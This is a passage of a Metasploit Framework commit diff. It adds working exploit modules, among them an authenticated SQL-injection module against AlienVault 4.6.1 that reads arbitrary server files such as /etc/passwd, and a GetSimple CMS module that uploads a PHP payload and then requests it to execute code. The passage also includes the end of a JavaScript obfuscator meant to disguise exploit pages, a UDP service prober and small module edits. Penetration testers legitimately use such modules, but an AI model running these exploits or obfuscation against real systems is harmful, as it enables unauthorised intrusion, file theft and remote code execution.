|
||||
else
|
||||
ret = lookup
|
||||
end
|
||||
ret
|
||||
end
|
||||
|
||||
#
|
||||
# Parse and obfuscate
|
||||
#
|
||||
def obfuscate
|
||||
parse
|
||||
obfuscate_r(@ast)
|
||||
end
|
||||
|
||||
# @return [String] a unique random var name that is not a reserved keyword
|
||||
def random_var_name
|
||||
loop do
|
||||
text = random_string
|
||||
unless @vars.has_value?(text) or RESERVED_KEYWORDS.include?(text)
|
||||
return text
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @return [String] a random string
|
||||
def random_string
|
||||
@rand_gen.generate
|
||||
end
|
||||
|
||||
#
|
||||
# Recursive method to obfuscate the given +ast+.
|
||||
#
|
||||
# +ast+ should be the result of RKelly::Parser#parse
|
||||
#
|
||||
def obfuscate_r(ast)
|
||||
ast.each do |node|
|
||||
#if node.respond_to? :value and node.value.kind_of? String and node.value =~ /bodyOnLoad/i
|
||||
# $stdout.puts("bodyOnLoad: #{node.class}: #{node.value}")
|
||||
#end
|
||||
|
||||
case node
|
||||
when nil
|
||||
nil
|
||||
|
||||
when ::RKelly::Nodes::SourceElementsNode
|
||||
# Recurse
|
||||
obfuscate_r(node.value)
|
||||
|
||||
#when ::RKelly::Nodes::ObjectLiteralNode
|
||||
# TODO
|
||||
#$stdout.puts(node.methods - Object.new.methods)
|
||||
#$stdout.puts(node.value.inspect)
|
||||
|
||||
when ::RKelly::Nodes::PropertyNode
|
||||
# Property names must be bare words or string literals NOT
|
||||
# expressions! Can't use transform_string() here
|
||||
if node.name =~ /^[a-zA-Z_][a-zA-Z0-9_]*$/
|
||||
n = '"'
|
||||
node.name.unpack("C*") { |c|
|
||||
case rand(3)
|
||||
when 0; n << "\\x%02x"%(c)
|
||||
when 1; n << "\\#{c.to_s 8}"
|
||||
when 2; n << [c].pack("C")
|
||||
end
|
||||
}
|
||||
n << '"'
|
||||
node.instance_variable_set(:@name, n)
|
||||
end
|
||||
|
||||
# Variables
|
||||
when ::RKelly::Nodes::VarDeclNode
|
||||
if @vars[node.name].nil?
|
||||
@vars[node.name] = random_var_name
|
||||
end
|
||||
node.name = @vars[node.name]
|
||||
when ::RKelly::Nodes::ParameterNode
|
||||
if @vars[node.value].nil?
|
||||
@vars[node.value] = random_var_name
|
||||
end
|
||||
node.value = @vars[node.value]
|
||||
when ::RKelly::Nodes::ResolveNode
|
||||
#$stdout.puts("Resolve bodyOnload: #{@vars[node.value]}") if "bodyOnLoad" == node.value
|
||||
node.value = @vars[node.value] if @vars[node.value]
|
||||
when ::RKelly::Nodes::DotAccessorNode
|
||||
case node.value
|
||||
when ::RKelly::Nodes::ResolveNode
|
||||
if @vars[node.value.value]
|
||||
node.value.value = @vars[node.value.value]
|
||||
end
|
||||
#else
|
||||
# $stderr.puts("Non-resolve node as target of dotaccessor: #{node.value.class}")
|
||||
end
|
||||
|
||||
# Functions
|
||||
when ::RKelly::Nodes::FunctionDeclNode
|
||||
#$stdout.puts("FunctionDecl: #{node.value}")
|
||||
# Functions can also act as objects, so store them in the vars
|
||||
# and the functions list so we can replace them in both places
|
||||
if @funcs[node.value].nil? and not @funcs.values.include?(node.value)
|
||||
@funcs[node.value] = random_var_name
|
||||
if @vars[node.value].nil?
|
||||
@vars[node.value] = @funcs[node.value]
|
||||
end
|
||||
node.value = @funcs[node.value]
|
||||
end
|
||||
when ::RKelly::Nodes::FunctionCallNode
|
||||
# The value of a FunctionCallNode is some sort of accessor node or a ResolveNode
|
||||
# so this is basically useless
|
||||
#$stdout.puts("Function call: #{node.name} => #{@funcs[node.name]}")
|
||||
#node.value = @funcs[node.value] if @funcs[node.value]
|
||||
|
||||
# Transformers
|
||||
when ::RKelly::Nodes::NumberNode
|
||||
node.value = transform_number(node.value)
|
||||
when ::RKelly::Nodes::StringNode
|
||||
node.value = transform_string(node.value)
|
||||
else
|
||||
#$stderr.puts "#{node.class}: #{node.value}"
|
||||
#$stderr.puts "#{node.class}"
|
||||
end
|
||||
|
||||
#unless node.kind_of? ::RKelly::Nodes::SourceElementsNode
|
||||
# $stderr.puts "#{node.class}: #{node.value}"
|
||||
#end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an Abstract Syntax Tree (#ast) for later obfuscation
|
||||
#
|
||||
def parse
|
||||
parser = RKelly::Parser.new
|
||||
@ast = parser.parse(@code)
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a number to a random base (decimal, octal, or hexedecimal).
|
||||
#
|
||||
# Given 10 as input, the possible return values are:
|
||||
# "10"
|
||||
# "0xa"
|
||||
# "012"
|
||||
#
|
||||
def rand_base(num)
|
||||
case rand(3)
|
||||
when 0; num.to_s
|
||||
when 1; "0%o" % num
|
||||
when 2; "0x%x" % num
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a mathematical expression that will evaluate to the given number
|
||||
# +num+.
|
||||
#
|
||||
# +num+ can be a float or an int, but should never be negative.
|
||||
#
|
||||
def transform_number(num)
|
||||
case num
|
||||
when Fixnum
|
||||
if num == 0
|
||||
r = rand(10) + 1
|
||||
transformed = "('#{Rex::Text.rand_text_alpha(r)}'.length - #{r})"
|
||||
elsif num > 0 and num < 10
|
||||
# use a random string.length for small numbers
|
||||
transformed = "'#{Rex::Text.rand_text_alpha(num)}'.length"
|
||||
else
|
||||
transformed = "("
|
||||
divisor = rand(num) + 1
|
||||
a = num / divisor.to_i
|
||||
b = num - (a * divisor)
|
||||
# recurse half the time for a
|
||||
a = (rand(2) == 0) ? transform_number(a) : rand_base(a)
|
||||
# recurse half the time for divisor
|
||||
divisor = (rand(2) == 0) ? transform_number(divisor) : rand_base(divisor)
|
||||
transformed << "#{a}*#{divisor}"
|
||||
transformed << "+#{b}"
|
||||
transformed << ")"
|
||||
end
|
||||
when Float
|
||||
transformed = "(#{num - num.floor} + #{rand_base(num.floor)})"
|
||||
end
|
||||
|
||||
#puts("#{num} == #{transformed}")
|
||||
|
||||
transformed
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a javascript string into something that will generate that string.
|
||||
#
|
||||
# Randomly calls one of the +transform_string_*+ methods
|
||||
#
|
||||
def transform_string(str)
|
||||
quote = str[0,1]
|
||||
# pull off the quotes
|
||||
str = str[1,str.length - 2]
|
||||
return quote*2 if str.length == 0
|
||||
|
||||
case rand(2)
|
||||
when 0
|
||||
transformed = transform_string_split_concat(str, quote)
|
||||
when 1
|
||||
transformed = transform_string_fromCharCode(str)
|
||||
#when 2
|
||||
# # Currently no-op
|
||||
# transformed = transform_string_unescape(str)
|
||||
end
|
||||
|
||||
#$stderr.puts "Obfuscating str: #{str.ljust 30} #{transformed}"
|
||||
transformed
|
||||
end
|
||||
|
||||
#
|
||||
# Split a javascript string, +str+, without breaking escape sequences.
|
||||
#
|
||||
# The maximum length of each piece of the string is half the total length
|
||||
# of the string, ensuring we (almost) always split into at least two
|
||||
# pieces. This won't always be true when given a string like "AA\x41",
|
||||
# where escape sequences artificially increase the total length (escape
|
||||
# sequences are considered a single character).
|
||||
#
|
||||
# Returns an array of two-element arrays. The zeroeth element is a
|
||||
# randomly generated variable name, the first is a piece of the string
|
||||
# contained in +quote+s.
|
||||
#
|
||||
# See #escape_length
|
||||
#
|
||||
def safe_split(str, quote)
|
||||
parts = []
|
||||
max_len = str.length / 2
|
||||
while str.length > 0
|
||||
len = 0
|
||||
loop do
|
||||
e_len = escape_length(str[len..-1])
|
||||
e_len = 1 if e_len.nil?
|
||||
len += e_len
|
||||
# if we've reached the end of the string, bail
|
||||
break unless str[len]
|
||||
break if len > max_len
|
||||
# randomize the length of each part
|
||||
break if (rand(4) == 0)
|
||||
end
|
||||
|
||||
part = str.slice!(0, len)
|
||||
|
||||
var = Rex::Text.rand_text_alpha(4)
|
||||
parts.push( [ var, "#{quote}#{part}#{quote}" ] )
|
||||
end
|
||||
|
||||
parts
|
||||
end
|
||||
|
||||
#
|
||||
# Stolen from obfuscatejs.rb
|
||||
#
|
||||
# Determines the length of an escape sequence
|
||||
#
|
||||
def escape_length(str)
|
||||
esc_len = nil
|
||||
if str[0,1] == "\\"
|
||||
case str[1,1]
|
||||
when "u"; esc_len = 6 # unicode \u1234
|
||||
when "x"; esc_len = 4 # hex, \x41
|
||||
when /[0-7]/ # octal, \123, \0
|
||||
str[1,3] =~ /([0-7]{1,3})/
|
||||
if $1.to_i(8) > 255
|
||||
str[1,3] =~ /([0-7]{1,2})/
|
||||
end
|
||||
esc_len = 1 + $1.length
|
||||
else; esc_len = 2 # \" \n, etc.
|
||||
end
|
||||
end
|
||||
esc_len
|
||||
end
|
||||
|
||||
#
|
||||
# Split a javascript string, +str+, into multiple randomly-ordered parts
|
||||
# and return an anonymous javascript function that joins them in the
|
||||
# correct order. This method can be called safely on strings containing
|
||||
# escape sequences. See #safe_split.
|
||||
#
|
||||
def transform_string_split_concat(str, quote)
|
||||
parts = safe_split(str, quote)
|
||||
func = "(function () { var "
|
||||
ret = "; return "
|
||||
parts.sort { |a,b| rand }.each do |part|
|
||||
func << "#{part[0]}=#{part[1]},"
|
||||
end
|
||||
func.chop!
|
||||
|
||||
ret << parts.map{|part| part[0]}.join("+")
|
||||
final = func + ret + " })()"
|
||||
|
||||
final
|
||||
end
|
||||
|
||||
|
||||
# TODO
|
||||
#def transform_string_unescape(str)
|
||||
# str
|
||||
#end
|
||||
|
||||
#
|
||||
# Return a call to String.fromCharCode() with each char of the input as arguments
|
||||
#
|
||||
# Example:
|
||||
# input : "A\n"
|
||||
# output: String.fromCharCode(0x41, 10)
|
||||
#
|
||||
def transform_string_fromCharCode(str)
|
||||
buf = "String.fromCharCode("
|
||||
bytes = str.unpack("C*")
|
||||
len = 0
|
||||
while str.length > 0
|
||||
if str[0,1] == "\\"
|
||||
str.slice!(0,1)
|
||||
# then this is an escape sequence and we need to deal with all
|
||||
# the special cases
|
||||
case str[0,1]
|
||||
# For chars that contain their non-escaped selves, step past
|
||||
# the backslash and let the rand_base() below decide how to
|
||||
# represent the character.
|
||||
when '"', "'", "\\", " "
|
||||
char = str.slice!(0,1).unpack("C").first
|
||||
# For symbolic escapes, use the known value
|
||||
when "n"; char = 0x0a; str.slice!(0,1)
|
||||
when "t"; char = 0x09; str.slice!(0,1)
|
||||
# Lastly, if it's a hex, unicode, or octal escape, pull out the
|
||||
# real value and use that
|
||||
when "x"
|
||||
# Strip the x
|
||||
str.slice!(0,1)
|
||||
char = str.slice!(0,2).to_i 16
|
||||
when "u"
|
||||
# This can potentially lose information in the case of
|
||||
# characters like \u0041, but since regular ascii is stored
|
||||
# as unicode internally, String.fromCharCode(0x41) will be
|
||||
# represented as 00 41 in memory anyway, so it shouldn't
|
||||
# matter.
|
||||
str.slice!(0,1)
|
||||
char = str.slice!(0,4).to_i 16
|
||||
when /[0-7]/
|
||||
# Octals are a bit harder since they are variable width and
|
||||
# don't necessarily mean what you might think. For example,
|
||||
# "\61" == "1" and "\610" == "10". 610 is a valid octal
|
||||
# number, but not a valid ascii character. Javascript will
|
||||
# interpreter as much as it can as a char and use the rest
|
||||
# as a literal. Boo.
|
||||
str =~ /([0-7]{1,3})/
|
||||
char = $1.to_i 8
|
||||
if char > 255
|
||||
str =~ /([0-7]{1,2})/
|
||||
char = $1.to_i 8
|
||||
end
|
||||
str.slice!(0,$1.length)
|
||||
end
|
||||
else
|
||||
char = str.slice!(0,1).unpack("C").first
|
||||
end
|
||||
buf << "#{rand_base(char)},"
|
||||
end
|
||||
# Strip off the last comma
|
||||
buf = buf[0,buf.length-1] + ")"
|
||||
transformed = buf
|
||||
|
||||
transformed
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
=begin
|
||||
if __FILE__ == $0
|
||||
if ARGV[0]
|
||||
code = File.read(ARGV[0])
|
||||
else
|
||||
#require 'rex/exploitation/javascriptosdetect'
|
||||
#code = Rex::Exploitation::JavascriptOSDetect.new.to_s
|
||||
code = <<-EOS
|
||||
// Should alert "0123456789"
|
||||
var a = "0\\612\\063\\x34\\x35\\x36\\x37\\x38\\u0039";
|
||||
var a,b=2,c=3;
|
||||
alert(a);
|
||||
// should alert "asdfjkl;"
|
||||
var d = (function() { var foo = "jkl;", blah = "asdf"; return blah + foo; })();
|
||||
alert(d);
|
||||
EOS
|
||||
end
|
||||
js = Rex::Exploitation::JSObfu.new(code)
|
||||
js.obfuscate
|
||||
puts js.to_s
|
||||
class JSObfu < ::JSObfu
|
||||
|
||||
end
|
||||
|
||||
=end
|
||||
end
|
||||
end
|
||||
|
@ -55,11 +55,15 @@ Gem::Specification.new do |spec|
|
||||
spec.add_runtime_dependency 'actionpack', rails_version_constraint
|
||||
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
||||
spec.add_runtime_dependency 'bcrypt'
|
||||
# Needed for Javascript obfuscation
|
||||
spec.add_runtime_dependency 'jsobfu', '~> 0.1.7'
|
||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
spec.add_runtime_dependency 'json'
|
||||
# Metasploit::Concern hooks
|
||||
spec.add_runtime_dependency 'metasploit-concern', '~> 0.2.1'
|
||||
# Things that would normally be part of the database model, but which
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 0.26.1'
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 0.27.1'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
@ -70,8 +74,6 @@ Gem::Specification.new do |spec|
|
||||
spec.add_runtime_dependency 'packetfu', '1.1.9'
|
||||
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
|
||||
spec.add_runtime_dependency 'railties'
|
||||
# Needed by JSObfu
|
||||
spec.add_runtime_dependency 'rkelly-remix', '0.0.6'
|
||||
# Needed by anemone crawler
|
||||
spec.add_runtime_dependency 'robots'
|
||||
# Needed by some modules
|
||||
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(
|
||||
'Name' => 'SMB File Download Utility',
|
||||
'Description' => %Q{
|
||||
This module deletes a file from a target share and path. The usual reason
|
||||
This module downloads a file from a target share and path. The usual reason
|
||||
to use this module is to work around limitations in an existing SMB client that may not
|
||||
be able to take advantage of pass-the-hash style authentication.
|
||||
},
|
||||
|
163
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb
Normal file
163
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb
Normal file
@ -0,0 +1,163 @@
|
||||
##
|
||||
## This module requires Metasploit: http//metasploit.com/download
|
||||
## Current source: https://github.com/rapid7/metasploit-framework
|
||||
###
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
|
||||
'Description' => %q{
|
||||
AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against
|
||||
newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability
|
||||
to read an arbitrary file from the file system. Any authenticated user is able to exploit
|
||||
this, as administrator privileges are not required.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Chris Hebert <chrisdhebert[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '106815'],
|
||||
['EDB', '33317'],
|
||||
['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "May 9 2014"))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(443),
|
||||
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
|
||||
OptString.new('USERNAME', [ true, 'Single username' ]),
|
||||
OptString.new('PASSWORD', [ true, 'Single password' ]),
|
||||
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]),
|
||||
OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Get a valid session cookie...")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("#{peer} - Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie.blank?
|
||||
print_error("#{peer} - Could not retrieve a cookie")
|
||||
return
|
||||
end
|
||||
|
||||
post = {
|
||||
'embed' => '',
|
||||
'bookmark_string' => '',
|
||||
'user' => datastore['USERNAME'],
|
||||
'passu' => datastore['PASSWORD'],
|
||||
'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
|
||||
}
|
||||
|
||||
print_status("#{peer} - Login...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => post,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res && res.code == 302
|
||||
print_error("#{peer} - Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
|
||||
print_error("#{peer} - Authentication failed")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie.blank?
|
||||
print_error("#{peer} - Could not retrieve the authenticated cookie")
|
||||
return
|
||||
end
|
||||
|
||||
i = 0
|
||||
full = ''
|
||||
filename = datastore['FILEPATH'].unpack("H*")[0]
|
||||
left_marker = Rex::Text.rand_text_alpha(6)
|
||||
right_marker = Rex::Text.rand_text_alpha(6)
|
||||
sql_true = Rex::Text.rand_text_alpha(6)
|
||||
|
||||
print_status("#{peer} - Exploiting SQLi...")
|
||||
|
||||
begin
|
||||
::Timeout.timeout(datastore['SQLI_TIMEOUT']) do
|
||||
loop do
|
||||
file = sqli(left_marker, right_marker, sql_true, i, cookie, filename)
|
||||
return if file.nil?
|
||||
break if file.empty?
|
||||
|
||||
str = [file].pack("H*")
|
||||
full << str
|
||||
vprint_status(str)
|
||||
|
||||
i = i+1
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
if full.blank?
|
||||
print_error("#{peer} - Timeout while exploiting sqli, nothing recovered")
|
||||
else
|
||||
print_error("#{peer} - Timeout while exploiting sqli, #{full.length} bytes recovered")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
|
||||
print_good("File stored at path: " + path)
|
||||
end
|
||||
|
||||
def sqli(left_marker, right_marker, sql_true, i, cookie, filename)
|
||||
pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
|
||||
pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
|
||||
pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
|
||||
pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}"
|
||||
|
||||
get = {
|
||||
'insertafter' => pay,
|
||||
'ctx' => 0
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => get
|
||||
})
|
||||
|
||||
if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/
|
||||
return $1
|
||||
else
|
||||
print_error("Server did not respond in an expected way")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
44
modules/auxiliary/scanner/discovery/empty_udp.rb
Normal file
44
modules/auxiliary/scanner/discovery/empty_udp.rb
Normal file
@ -0,0 +1,44 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'UDP Empty Prober',
|
||||
'Description' => 'Detect UDP services that reply to empty probes',
|
||||
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options([
|
||||
OptString.new('PORTS', [true, 'Ports to probe', '1-1024,1194,2000,2049,4353,5060,5061,5351,8443'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
@ports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
raise Msf::OptionValidateError.new(['PORTS']) if @ports.empty?
|
||||
end
|
||||
|
||||
def scanner_prescan(batch)
|
||||
print_status("Sending #{@ports.length} empty probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||
end
|
||||
|
||||
def scan_host(ip)
|
||||
@ports.each do |port|
|
||||
scanner_send('', ip, port)
|
||||
end
|
||||
end
|
||||
|
||||
def scanner_process(data, shost, sport)
|
||||
print_good("Received #{data.inspect} from #{shost}:#{sport}/udp")
|
||||
report_service(:host => shost, :port => sport, :proto => 'udp', :info => data.inspect)
|
||||
end
|
||||
end
|
@ -4,6 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -6,6 +6,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/axis2'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -5,6 +5,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/glassfish'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -5,6 +5,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/smh'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -1,6 +1,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/ipboard'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -7,7 +7,6 @@ require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/wordpress_rpc'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
@ -5,6 +5,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/pop3'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -6,6 +6,7 @@
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
require 'metasploit/framework/login_scanner/ssh'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
140
modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb
Normal file
140
modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb
Normal file
@ -0,0 +1,140 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability in GetSimple CMS. By abusing the
|
||||
upload.php file, a malicious authenticated user can upload an arbitrary file,
|
||||
including PHP code, which results in arbitrary code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ahmed Elhady Mohamed'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '25405'],
|
||||
['OSVDB', '93034']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['Generic (PHP Payload)', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 04 2014'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']),
|
||||
OptString.new('USERNAME', [true, 'The username that will be used for authentication process']),
|
||||
OptString.new('PASSWORD', [true, 'The right password for the provided username'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def send_request_auth
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"),
|
||||
'vars_post' => {
|
||||
'userid' => "#{datastore['USERNAME']}",
|
||||
'pwd' => "#{datastore['PASSWORD']}",
|
||||
'submitted' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def send_request_upload(payload_name, cookie_http_header)
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"")
|
||||
data.add_part("Upload", nil, nil, "form-data; name=\"submit\"")
|
||||
|
||||
data_post = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"),
|
||||
'vars_get' => { 'path' =>'' },
|
||||
'cookie' => cookie_http_header,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data_post
|
||||
})
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/
|
||||
version = $1
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
print_status("#{peer} - Version #{version} found")
|
||||
|
||||
if Gem::Version.new(version) <= Gem::Version.new('3.1.2')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Authenticating...")
|
||||
res = send_request_auth
|
||||
|
||||
if res && res.code == 302
|
||||
print_status("#{peer} - The authentication process is done successfully!")
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Extracting Cookies Information...")
|
||||
cookie = res.get_cookies
|
||||
if cookie.blank?
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht'
|
||||
res = send_request_upload(payload_name, cookie)
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</
|
||||
upload_path = $1
|
||||
print_good("#{peer} - File uploaded to #{upload_path}")
|
||||
register_file_for_cleanup(payload_name)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
send_request_raw({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, upload_path, payload_name),
|
||||
'method' => 'GET'
|
||||
}, 5)
|
||||
end
|
||||
|
||||
end
|
2
msfvenom
2
msfvenom
@ -98,7 +98,7 @@ require 'msf/core/payload_generator'
|
||||
end
|
||||
|
||||
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
||||
opts[:badchars] = b
|
||||
opts[:badchars] = Rex::Text.hex_to_raw(b)
|
||||
end
|
||||
|
||||
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
|
||||
|
61
spec/lib/msf/core/exploit/jsobfu_spec.rb
Normal file
61
spec/lib/msf/core/exploit/jsobfu_spec.rb
Normal file
@ -0,0 +1,61 @@
|
||||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
|
||||
|
||||
describe Msf::Exploit::JSObfu do
|
||||
subject(:jsobfu) do
|
||||
